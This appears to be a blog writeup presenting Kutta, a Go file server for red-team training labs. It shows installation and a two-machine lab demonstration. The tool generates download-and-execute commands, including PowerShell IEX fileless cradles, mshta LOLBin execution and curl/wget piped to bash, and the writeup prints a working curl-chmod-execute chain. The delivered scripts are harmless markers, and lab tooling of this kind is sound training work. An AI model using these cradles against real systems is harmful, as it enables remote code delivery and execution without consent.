Kutta is a lightweight, responsive web-based file sharing server written in Go. It was created to use during our trainings to move payloads and code snippets across machines in the lab environment. The name is a nod to a childhood pet dog named Kuttan, since Kutta means dog in Hindi.
If you have ever run a red team simulation or a penetration testing lab, you already know the pain, you need to move scripts, binaries, configuration files, and other test artifacts between machines, and you end up switching between python3 -m http.server, manually constructed curl commands, and several terminal tabs just to get a file from point A to point B.
Kutta was designed to make this easier by combining file upload, file management, a clipboard for quick notes, and most importantly, an automatic download-and-execute cradle generator into a single, self-contained binary that you can start at the beginning of an exercise and shut down when you are finished.
Starting a basic HTTP server with python3 -m http.server is enough to serve a single file, but an operator's real workflow during an exercise usually involves much more than that. You may need to upload new artifacts as you go, manage the files you have already added, and quickly generate the right download command for the target operating system without manually typing URLs each time.
Having all of this in one place is much easier than switching between different tools and terminal windows.
Kutta started as a more capable alternative to python http.server, inspired by tools like goshs and updog. The idea was a single, self-contained binary that handles both downloads and uploads, manages code snippets, and ships with the small conveniences that make payload sharing during an engagement or a class quicker and cleaner.
Kutta brings all of the common file-transfer actions together in a single interface:
The result is a small, single-purpose tool that starts in seconds, gives you everything you need during the exercise, and can be closed when the exercise is over.
When we are running a lab with multiple Windows and Linux machines, one of the small problems is moving files between them. Usually it ends up being a quick HTTP server, SCP, shared folders, or copying files through whatever method is available on that particular setup.
Kutta gives us one place to drop the files and access them from the other machines. During a training session, we can start Kutta on one machine, upload the required scripts or tools, and then pull them from the target lab machines without setting up a separate file-sharing service.
The clipboard feature came from another simple problem we kept running into during trainings. Commands, URLs, one-liners, and small snippets tend to end up scattered across terminals, text files, chat messages, or browser tabs.
With Kutta, we can keep those snippets alongside the files being used in the lab. An instructor can add commands to the clipboard, export them when needed, and have the students access the same information from the Kutta interface.
During the labs, we often need to test how an artifact can be retrieved and executed from a remote file server. Building the command manually every time is a small thing, but it gets annoying when switching between Windows and Linux targets or when the filename changes.
Kutta's cradle generator handles this part. We can select an uploaded file from the web interface and generate the corresponding download and execution command for the target environment. This makes it easier to quickly test different delivery workflows without writing the command from scratch each time.
The generated cradle only handles the retrieval and execution workflow. The actual payload or script is still something we prepare separately and upload to Kutta. This keeps the tool focused on what it is meant to do, provide a simple way to host an artifact and test its delivery during a lab.
Kutta is a single Go binary with all web assets embedded at compile time, so there are no runtime dependencies to install. The quickest route on Linux is go install, which builds the binary and puts it on your $PATH:
go install github.com/breachsimrange/kutta@latest
You can also clone the repository and build from source if you prefer, including an optional systemd service install on Linux:
git clone https://github.com/breachsimrange/kutta.git cd kutta make build install service
This builds the binary, installs it to /usr/local/bin/kutta, and enables a systemd service so Kutta starts automatically on boot.
Windows builds are produced from source. You can cross-compile from a Linux or macOS host, or build directly on Windows with Go installed:
# 64-bit $env:GOOS="windows"; $env:GOARCH="amd64"; go build -o kutta.exe # 32-bit $env:GOOS="windows"; $env:GOARCH="386"; go build -o kutta.exe
This generates kutta.exe in the project folder, a single portable executable you can copy to any Windows lab machine.
By default, Kutta serves on port 13377 with no files exposed until you add them. You can point it at a different port with the -p flag.
# default port 13377 kutta # custom port kutta -p 8980
When installed as a service, manage it with the usual systemctl commands. Open the server address in a browser to browse, upload, grab snippets, or copy a download-and-execute cradle.
Start the server from the project directory:
.\kutta.exe
By default, Kutta listens on http://localhost:13377 and binds to all network interfaces, making it reachable from other machines on the same subnet.
The test environment we used for this demonstration consisted of two machines: a Windows 11 host running the Kutta server, and a Kali Linux VM acting as the target that would retrieve and execute the Linux test script over the network. Both machines were on the same isolated lab subnet.
After building Kutta on the Windows host using the commands above, we started it and verified the listener was bound and reachable:
.\kutta.exe # Kutta serving payloads on http://localhost:13377 netstat -ano | findstr :13377 # TCP 0.0.0.0:13377 0.0.0.0:0 LISTENING
The output confirmed that Kutta was listening on all IPv4 interfaces, which meant the Kali VM on the same subnet would be able to reach it. With the server running, we opened the web interface in a browser by navigating to http://192.168.74.1:13377.
When Kutta starts fresh with an empty serving directory, the interface looks like this:
The interface is split into two main panels. The left side is dedicated to file operations, it contains a drag-and-drop upload space at the top, followed by the control bar (Select All, Select None, Generate Download and Execute, and a search filter), the file table, and a Delete Selected button at the bottom. The right side holds the Clipboard panel, which provides a text area for storing short commands or notes along with Add, Export, and Clear Clipboard controls. Even at a glance, the interface makes it clear what Kutta is for: upload your files, manage them, and generate the commands you need to move them to a target system.
The rest of this writeup walks through a full lab run, uploading test files to Kutta, generating transfer commands using the cradle generator, and executing those commands on both a Linux and a Windows target.
For the demonstration, we created three harmless test artifacts and uploaded them through the web interface by dragging them into the upload zone:
| File | Size | Purpose |
|---|---|---|
test.exe | 1.5 MB | A dummy PE binary used to verify binary file handling |
test.ps1 | 105 B | A PowerShell script that prints KUTTA_EXEC_OK, the hostname, and the current time |
test.sh | 91 B | A Bash script with the same marker output as test.sh |
The scripts were created specifically for the lab. The PowerShell and shell scripts print a KUTTA_EXEC_OK marker, the hostname, and the current time.
The file table shows the filename, size, modification time, and available actions. Each file also has a download control and a delete control.
This provides a useful browser-based workflow for an operator who needs to quickly place several artifacts on a system and then reference them from the same interface.
This is the feature that makes Kutta genuinely useful for adversary-emulation exercises rather than just another file server. After selecting a file in the file table by checking its checkbox, clicking the Generate Download and Execute button opens the cradle generator panel, which produces ready-to-use transfer-and-execution commands for multiple platforms and techniques.
In the screenshot below, we selected test.ps1 and triggered the generator:
The generator produced seven different cradle templates, each targeting a different execution method:
| Cradle | Description |
|---|---|
| PowerShell – Invoke-WebRequest + IEX | Uses Net.WebClient.DownloadString() to fetch the script content into memory and pipes it to IEX for fileless execution. |
| PowerShell – iwr + iex (short) | A shorter variant using Invoke-WebRequest with -UseBasicParsing piped to iex. |
| mshta – run remote HTA/JS/VBS | Uses mshta.exe to fetch and run a remote HTA file - useful for testing Living-off-the-Land Binary (LOLBin) execution paths. |
| curl + bash (Linux) | Pipes the downloaded script directly into bash for immediate in-memory execution. |
| wget + bash (Linux) | Same concept using wget instead of curl. |
| curl download + chmod + exec (Linux) | Downloads the file to disk, sets the execute permission, and runs it - a three-step on-disk workflow. |
| wget download + chmod + exec (Linux) | Same three-step workflow using wget. |
Every generated command already includes the correct server IP address and file path (e.g., http://192.168.74.1:13377/files/test.sh), so all you need to do is click the Copy button next to the command and paste it into a terminal on the target system. Kutta detects a non-loopback IPv4 address on the host machine and uses that address in the generated URLs, which means you do not have to manually edit the IP every time.
Here is a closer look at the full cradle generator output:
With the artifacts staged and the cradles generated, we moved over to the Kali VM to test the Linux transfer path. We used the curl download + chmod + exec cradle, which downloads test.sh to disk, marks it executable, and runs it in a single chained command:
curl -o test.sh http://192.168.74.1:13377/files/test.sh && chmod +x test.sh && ./test.sh
The output confirmed a successful transfer and execution:
KUTTA_EXEC_OK Host: kali Time: 2026-09-10T19:17:18+04:00
The PowerShell workflow was tested separately with test.ps1.
The file was selected in the Kutta interface, causing the PowerShell transfer templates to be displayed:
The generated PowerShell workflow uses the HTTP endpoint exposed by Kutta.
The test was then executed from a Windows PowerShell session. The command retrieved the PowerShell script and passed its contents to the local PowerShell interpreter:
KUTTA_EXEC_OK Host: WINDOWS11 Time: 2026-09-10T08:25:27.7360065-07:00
This demonstrates the same Kutta server simultaneously supporting both Linux and Windows workflows - the Kali VM pulled test.sh over HTTP with curl, and the Windows host pulled test.ps1 with Net.WebClient.DownloadString(), all from the same running instance on port 13377.
The right-hand panel of the Kutta interface provides a clipboard feature that might seem simple but turns out to be surprisingly useful during longer exercises. During a simulation, you are constantly switching between the Kutta browser tab, multiple terminal windows, RDP sessions, and target consoles. Having a single place to keep frequently used commands, IP addresses, credentials, or short notes, alongside the files you are working with saves you from constantly switching back and forth.
To use it, you type or paste text into the clipboard field and click Add. The entry gets added to a list that persists for the duration of the Kutta session. The Export button lets you dump all stored clipboard entries as JSON, and Clear Clipboard wipes them. For example, during an exercise you might store commands like ipconfig /all, target IP addresses, or one-liner payloads that you need to paste repeatedly.
Every file uploaded to Kutta is served through a clean, predictable URL structure under the /files/ path:
http://<KUTTA-IP>:13377/files/<filename>
This means that even outside of the cradle generator, you can construct download URLs manually if you need to. A Linux client can grab a file with:
curl -o test.sh http://<KUTTA-IP>:13377/files/test.sh
And a Windows client can do the same with:
Invoke-WebRequest http://<KUTTA-IP>:13377/files/test.ps1 -OutFile .\test.ps1
The simplicity of this URL structure makes Kutta easy to integrate into automated scripts, Ansible playbooks, or any other tooling that needs to pull artifacts from a known HTTP endpoint during a controlled exercise.
Kutta started as a solution to a problem we kept running into, every time we set up a security lab or ran an adversary-emulation exercise, we spent too much time dealing with file transfers instead of focusing on the actual exercise. We needed a simple way to move files, generate the right download commands for whatever OS the target was running, and clean everything up afterwards, without installing anything heavy or leaving infrastructure running once the exercise was over.
The result is a single Go binary that does exactly that. It gives you a browser-based upload interface so you do not have to manually copy files into directories. It auto-generates download-and-execute cradles for PowerShell, curl, wget, and mshta so you never have to hand-craft a transfer URL again. It provides a clipboard for the small notes and commands you constantly need during an exercise. And when the exercise is done, you just close the process, there is nothing to uninstall, no database to clean up, no configuration files left behind.
The tests documented in this writeup, transferring and executing test.sh on Kali and test.ps1 on Windows from the same Kutta instance, demonstrate that the full workflow works exactly as intended across both the operating systems. It is a small tool, but it makes the file-transfer workflow simpler and helps lab exercises run more smoothly.
Browse the source, run Kutta in your own lab, and contribute. The project welcomes issues, feature ideas, and pull requests, and a star helps it reach more people.
View on GitHub